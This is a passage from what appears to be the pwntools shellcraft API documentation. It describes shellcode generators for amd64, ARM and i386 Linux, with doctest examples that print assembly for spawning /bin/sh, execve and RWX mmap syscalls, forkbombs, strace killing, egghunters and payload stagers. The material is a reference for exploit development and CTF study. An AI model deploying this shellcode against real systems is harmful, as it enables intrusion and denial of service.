Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.amd64.linux.`**`forkbomb`**`()`
Performs a forkbomb attack.

`pwnlib.shellcraft.amd64.linux.`**`forkexit`**`()`
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.amd64.linux.`**`getpid`**`()`
Retrieve the current PID

`pwnlib.shellcraft.amd64.linux.`**`kill`**`(`*pid, sig*`)` → str
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **`pid`** (`pid_t`) – pid
- **`sig`** (`int`) – sig

Returns int

`pwnlib.shellcraft.amd64.linux.`**`killparent`**`()`
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.amd64.linux.`**`listen`**`(`*port, network*`)`
Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.`**`loader`**`(`*address*`)`
Loads a statically-linked ELF into memory and transfers control.

Parameters **`address`** (`int`) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.amd64.linux.`**`loader_append`**`(`*data=None*`)`
Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **`data`** (`str`) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'amd64'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
```

`pwnlib.shellcraft.amd64.linux.`**`membot`**`(`*readsock=0, writesock=1*`)`
Read-write access to a remote process' memory.

Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop

- 1: Read data
- 2: Write data

`pwnlib.shellcraft.amd64.linux.`**`migrate_stack`**(*size=1048576*, *fd=0*)
Migrates to a new stack.

`pwnlib.shellcraft.amd64.linux.`**`mmap_rwx`**(*size=4096*, *protection=7*, *address=None*)
Maps some memory

`pwnlib.shellcraft.amd64.linux.`**`read`**(*fd=0*, *buffer='rsp'*, *count=8*)
Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwnlib.shellcraft.amd64.linux.`**`read_upto`**(*fd=0*, *buffer='rsp'*, *sizereg='rdx'*)
Reads up to N bytes 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.`**`readfile`**(*path*, *dst='rdi'*)
Args: [path, dst (imm/reg) = rdi] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.`**`readinto`**(*sock=0*)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.`**`readloop`**(*sock=0*)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.`**`readn`**(*fd*, *buf*, *nbytes*)
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.amd64.linux.`**`readptr`**(*fd=0*, *target_reg='rdx'*)
Reads 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.`**`recvsize`**(*sock*, *reg='rcx'*)
Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

`pwnlib.shellcraft.amd64.linux.`**`setregid`**(*gid='egid'*)
Args: [gid (imm/reg) = egid] Sets the real and effective group id.

`pwnlib.shellcraft.amd64.linux.`**`setreuid`**(*uid='euid'*)
Args: [uid (imm/reg) = euid] Sets the real and effective user id.

`pwnlib.shellcraft.amd64.linux.`**`sh`**()
Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.`**`socket`**(*network='ipv4'*, *proto='tcp'*)
Creates a new socket

`pwnlib.shellcraft.amd64.linux.stage(fd=0, length=None)`
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.stager(sock, size, handle_error=False)`
Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.amd64.linux.strace_dos()`
Kills strace

`pwnlib.shellcraft.amd64.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)`

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).
↪rstrip())
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push SYS_execve /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
    mov rsi, rsp
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).
↪rstrip())
    /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push SYS_execve /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
```

(continues on next page)

(continued from previous page)

```
    pop rsi
    cdq /* rdx=0 */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
    /* call syscall() */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
...               'SYS_mmap', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip())
    /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |␣
↪MAP_ANONYMOUS', -1, 0) */
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
    xor r9d, r9d /* 0 */
    push SYS_mmap /* 9 */
    pop rax
    xor edi, edi /* 0 */
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rdx
    mov esi, 0x1010101 /* 4096 == 0x1000 */
    xor esi, 0x1011101
    syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f6e
    xor [rsp], rax
    mov rax, 0x77702f656d6f682f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
>>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())
    /* write(fd=0, buf='\x2a/', n=2) */
    /* push b'\x2a/\x00' */
    push 0x1010101 ^ 0x2f2a
    xor dword ptr [rsp], 0x1010101
```

(continues on next page)

(continued from previous page)

```
    mov rsi, rsp
    xor edi, edi /* 0 */
    push 2
    pop rdx
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall
```

pwnlib.shellcraft.amd64.linux.**writeloop**(*readsock=0*, *writesock=1*)
Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.arm — Shellcode for ARM

pwnlib.shellcraft.arm

Shellcraft module containing generic ARM little endian shellcodes.

pwnlib.shellcraft.arm.**crash**()
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.arm.**infloop**()
An infinite loop.

pwnlib.shellcraft.arm.**itoa**(*v*, *buffer='sp'*, *allocate_stack=True*)
Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

pwnlib.shellcraft.arm.**memcpy**(*dest*, *src*, *n*)
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address

- **n** – Number of bytes

`pwnlib.shellcraft.arm.`**`mov`**(*dst*, *src*)

Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set *context.arch* to *'arm'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print(shellcraft.arm.mov('r0','r1').rstrip())
    mov  r0, r1
>>> print(shellcraft.arm.mov('r0', 5).rstrip())
    mov  r0, #5
>>> print(shellcraft.arm.mov('r0', 0x34532).rstrip())
    movw r0, #0x34532 & 0xffff
    movt r0, #0x34532 >> 16
>>> print(shellcraft.arm.mov('r0', 0x101).rstrip())
    movw r0, #0x101
>>> print(shellcraft.arm.mov('r0', 0xff << 14).rstrip())
    mov  r0, #0x3fc000
>>> print(shellcraft.arm.mov('r0', 0xff << 15).rstrip())
    movw r0, #0x7f8000 & 0xffff
    movt r0, #0x7f8000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip())
    eor  r0, r0
    movt r0, #0xf00d0000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xffff00ff).rstrip())
    mvn  r0, #(0xffff00ff ^ (-1))
>>> print(shellcraft.arm.mov('r0', 0x1fffffff).rstrip())
    mvn  r0, #(0x1fffffff ^ (-1))
```

Parameters

- **dest** (*str*) – ke destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.arm.`**`nop`**()

A nop instruction.

`pwnlib.shellcraft.arm.`**`push`**(*word*, *register='r12'*)

Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scartch register ($ip), so this should not interfere with most usage.

Parameters

- **word** (*int, str*) – The word to push
- **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

`pwnlib.shellcraft.arm.`**`pushstr`**(*string*, *append_null=True*, *register='r7'*)

Pushes a string onto the stack.

Parameters

- **string** (*str*) – The string to push.

- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> print(shellcraft.arm.pushstr("Hello!").rstrip())
    /* push b'Hello!\x00A' */
    movw r7, #0x4100216f & 0xffff
    movt r7, #0x4100216f >> 16
    push {r7}
    movw r7, #0x6c6c6548 & 0xffff
    movt r7, #0x6c6c6548 >> 16
    push {r7}
```

pwnlib.shellcraft.arm.**pushstr_array**(*reg*, *array*)
Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.arm.**ret**(*return_value=None*)
A single-byte RET instruction.

Parameters **return_value** – Value to return

Examples

```
>>> with context.local(arch='arm'):
...     print(enhex(asm(shellcraft.ret())))
...     print(enhex(asm(shellcraft.ret(0))))
...     print(enhex(asm(shellcraft.ret(0xdeadbeef))))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

pwnlib.shellcraft.arm.**setregs**(*reg_context*, *stack_allowed=True*)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())
    mov  r0, #1
    mov  r2, r3
>>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())
    mov  r2, r3
```

(continues on next page)

(continued from previous page)

```
    eor  r0, r0, r1 /* xchg r0, r1 */
    eor  r1, r0, r1
    eor  r0, r0, r1
```

pwnlib.shellcraft.arm.**to_thumb**(*reg=None*, *avoid=[]*)
Go from ARM to THUMB mode.

pwnlib.shellcraft.arm.**trap**()
A trap instruction.

pwnlib.shellcraft.arm.**udiv_10**(*N*)
Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

pwnlib.shellcraft.arm.**xor**(*key*, *address*, *count*)
XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.arm.linux

Shellcraft module containing ARM shellcodes for Linux.

pwnlib.shellcraft.arm.linux.**cacheflush**()
Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002

How this works:

. . . However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

`pwnlib.shellcraft.arm.linux.`**`cat`**`(`*filename*, *fd=1*`)`
Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.`**`cat2`**`(`*filename*, *fd=1*, *length=16384*`)`
Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat2(f)).recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.`**`connect`**`(`*host*, *port*, *network='ipv4'*`)`
Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.arm.linux.`**`dir`**`(`*in_fd='r6'*, *size=2048*, *allocate_stack=True*`)`
Reads to the stack from a directory.

Parameters

- **`in_fd`** (*`int/str`*) – File descriptor to be read from.
- **`size`** (*`int`*) – Buffer size.
- **`allocate_stack`** (*`bool`*) – allocate 'size' bytes on the stack.

You can optioanlly shave a few bytes not allocating the stack space.

The size read is left in eax.

`pwnlib.shellcraft.arm.linux.`**`echo`**`(`*string*, *sock='1'*`)`
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.arm.linux.`**`egghunter`**`(`*egg*, *start_address = 0*, *double_check = True*`)`
Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if double_check is True. When the egg has been found the egghunter branches to the address following it. If start_address has been specified search will start on the first address of the page that contains that address.

`pwnlib.shellcraft.arm.linux.`**`forkbomb`**`()`
Performs a forkbomb attack.

pwnlib.shellcraft.arm.linux.**forkexit**()
Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.arm.linux.**kill**(*pid*, *sig*) → str
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

Returns int

pwnlib.shellcraft.arm.linux.**killparent**()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.arm.linux.**open_file**(*filepath*, *flags='O_RDONLY'*, *mode=420*)
Opens a file. Leaves the file descriptor in r0.

Parameters

- **filepath** (*str*) – The file to open.
- **flags** (*int/str*) – The flags to call open with.
- **mode** (*int/str*) – The attribute to create the flag. Only matters of `flags & O_CREAT` is set.

pwnlib.shellcraft.arm.linux.**sh**()
Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

pwnlib.shellcraft.arm.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
    /* call syscall(0xb, 1, 'sp', 2, 0) */
    mov  r0, #1
    mov  r1, sp
    mov  r2, #2
    eor  r3, r3 /* 0 (#0) */
    mov  r7, #0xb
    svc  0
>>> print(shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip())
    /* call exit(0) */
    eor  r0, r0 /* 0 (#0) */
    mov  r7, #SYS_exit /* 1 */
    svc  0
```

(continues on next page)

(continued from previous page)

```
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00A' */
    movw r7, #0x41006761 & 0xffff
    movt r7, #0x41006761 >> 16
    push {r7}
    movw r7, #0x6c662f6e & 0xffff
    movt r7, #0x6c662f6e >> 16
    push {r7}
    movw r7, #0x77702f65 & 0xffff
    movt r7, #0x77702f65 >> 16
    push {r7}
    movw r7, #0x6d6f682f & 0xffff
    movt r7, #0x6d6f682f >> 16
    push {r7}
    mov  r0, sp
    eor  r1, r1 /* 0 (#0) */
    eor  r2, r2 /* 0 (#0) */
    /* call open() */
    mov  r7, #SYS_open /* 5 */
    svc  0
```

`pwnlib.shellcraft.common` — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

`pwnlib.shellcraft.common.`**`label`**`(`*prefix='label'*`)`
Returns a new unique label with a given prefix.

Parameters **prefix** (*str*) – The string to prefix the label with

`pwnlib.shellcraft.i386` — Shellcode for Intel 80386

`pwnlib.shellcraft.i386`

Shellcraft module containing generic Intel i386 shellcodes.

`pwnlib.shellcraft.i386.`**`breakpoint`**`()`
A single-byte breakpoint instruction.

`pwnlib.shellcraft.i386.`**`crash`**`()`
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.i386.`**`epilog`**`(`*nargs=0*`)`
Function epilogue.

Parameters **nargs** (*int*) – Number of arguments to pop off the stack.

`pwnlib.shellcraft.i386.`**`function`**(*name*, *template_function*, **registers*)
Converts a shellcraft template into a callable function.

Parameters

- **`template_sz`** (*`callable`*) – Rendered shellcode template. Any variable Arguments should be supplied as registers.
- **`name`** (*`str`*) – Name of the function.
- **`registers`** (*`list`*) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = '''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
... hello:
...     %(hello_fn)s
... exit:
...     %(exit_fn)s
... ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
b'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr

`pwnlib.shellcraft.i386.`**`getpc`**(*register='ecx'*)
Retrieves the value of EIP, stores it in the desired register.

Parameters **`return_value`** – Value to return

`pwnlib.shellcraft.i386.`**`infloop`**()
A two-byte infinite loop.

`pwnlib.shellcraft.i386.`**`itoa`**(*v*, *buffer='esp'*, *allocate_stack=True*)
Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **`v`** (*`str`*, *`int`*) – Integer constant or register that contains the value to convert.
- **`alloca`** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.i386.`**`memcpy`**(*dest*, *src*, *n*)

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.i386.`**`mov`**(*dest*, *src*, *stack_allowed=True*)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'i386'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.i386.mov('eax','ebx').rstrip())
    mov eax, ebx
>>> print(shellcraft.i386.mov('eax', 0).rstrip())
    xor eax, eax
>>> print(shellcraft.i386.mov('ax', 0).rstrip())
    xor ax, ax
>>> print(shellcraft.i386.mov('ax', 17).rstrip())
    xor ax, ax
    mov al, 0x11
>>> print(shellcraft.i386.mov('edi', ord('\n')).rstrip())
    push 9 /* mov edi, '\n' */
    pop edi
    inc edi
>>> print(shellcraft.i386.mov('al', 'ax').rstrip())
    /* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('al','ax').rstrip())
    /* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('esp', 'esp').rstrip())
    /* moving esp into esp, but this is a no-op */
>>> print(shellcraft.i386.mov('ax', 'bl').rstrip())
```

(continues on next page)

(continued from previous page)

```
    movzx ax, bl
>>> print(shellcraft.i386.mov('eax', 1).rstrip())
    push 1
    pop eax
>>> print(shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip())
    xor eax, eax
    mov al, 1
>>> print(shellcraft.i386.mov('eax', 0xdead00ff).rstrip())
    mov eax, -0xdead00ff
    neg eax
>>> print(shellcraft.i386.mov('eax', 0xc0).rstrip())
    xor eax, eax
    mov al, 0xc0
>>> print(shellcraft.i386.mov('edi', 0xc0).rstrip())
    mov edi, -0xc0
    neg edi
>>> print(shellcraft.i386.mov('eax', 0xc000).rstrip())
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print(shellcraft.i386.mov('eax', 0xffc000).rstrip())
    mov eax, 0x1010101
    xor eax, 0x1010101 ^ 0xffc000
>>> print(shellcraft.i386.mov('edi', 0xc000).rstrip())
    mov edi, (-1) ^ 0xc000
    not edi
>>> print(shellcraft.i386.mov('edi', 0xf500).rstrip())
    mov edi, 0x1010101
    xor edi, 0x1010101 ^ 0xf500
>>> print(shellcraft.i386.mov('eax', 0xc0c0).rstrip())
    xor eax, eax
    mov ax, 0xc0c0
>>> print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
    push SYS_execve /* 0xb */
    pop eax
>>> with context.local(os='freebsd'):
...     print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
    push SYS_execve /* 0x3b */
    pop eax
>>> print(shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↪rstrip())
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop eax
```

`pwnlib.shellcraft.i386.`**`nop`**`()`

A single-byte nop instruction.

`pwnlib.shellcraft.i386.`**`prolog`**`()`

Function prologue.

`pwnlib.shellcraft.i386.`**`push`**`(`*`value`*`)`

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'i386'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **`value`** (*`int`*, *`str`*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.i386.push(0).rstrip())
    /* push 0 */
    push 1
    dec byte ptr [esp]
>>> print(pwnlib.shellcraft.i386.push(1).rstrip())
    /* push 1 */
    push 1
>>> print(pwnlib.shellcraft.i386.push(256).rstrip())
    /* push 0x100 */
    push 0x1010201
    xor dword ptr [esp], 0x1010301
>>> print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
    /* push SYS_execve (0xb) */
    push 0xb
>>> print(pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip())
    /* push SYS_sendfile (0xbb) */
    push 0x1010101
    xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
    /* push SYS_execve (0x3b) */
    push 0x3b
```

pwnlib.shellcraft.i386.**pushstr**(*string*, *append_null=True*)
Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.i386.pushstr('').rstrip())
    /* push '\x00' */
    push 1
    dec byte ptr [esp]
>>> print(shellcraft.i386.pushstr('a').rstrip())
    /* push 'a\x00' */
    push 0x61
>>> print(shellcraft.i386.pushstr('aa').rstrip())
    /* push 'aa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016060
>>> print(shellcraft.i386.pushstr('aaa').rstrip())
    /* push 'aaa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1606060
>>> print(shellcraft.i386.pushstr('aaaa').rstrip())
    /* push 'aaaa\x00' */
    push 1
    dec byte ptr [esp]
    push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaaa').rstrip())
    /* push 'aaaaa\x00' */
    push 0x61
    push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaa', append_null = False).rstrip())
    /* push 'aaaa' */
```

(continues on next page)

(continued from previous page)

```
    push 0x61616161
>>> print(shellcraft.i386.pushstr(b'\xc3').rstrip())
    /* push b'\xc3\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x10101c2
>>> print(shellcraft.i386.pushstr(b'\xc3', append_null = False).rstrip())
    /* push b'\xc3' */
    push -0x3d
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
68010101018134242e726901682f62696e
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr("\x00", False))))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.i386.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.i386.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip())
    mov ebx, eax
    push 1
    pop eax
>>> print(shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip())
```

(continues on next page)

(continued from previous page)

```
    mov ecx, ebx
    xchg eax, ebx
```

pwnlib.shellcraft.i386.**stackarg**(*index*, *register*)

Loads a stack-based argument into a register.

Assumes that the 'prolog' code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.
- **register** (*str*) – Register name.

pwnlib.shellcraft.i386.**stackhunter**(*cookie = 0x7afceb58*)

Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function stackhunter_helper to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter())))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter(0xdeadbeef))))
583defbeadde75f8ffe4
```

pwnlib.shellcraft.i386.**strcpy**(*dst*, *src*)

Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
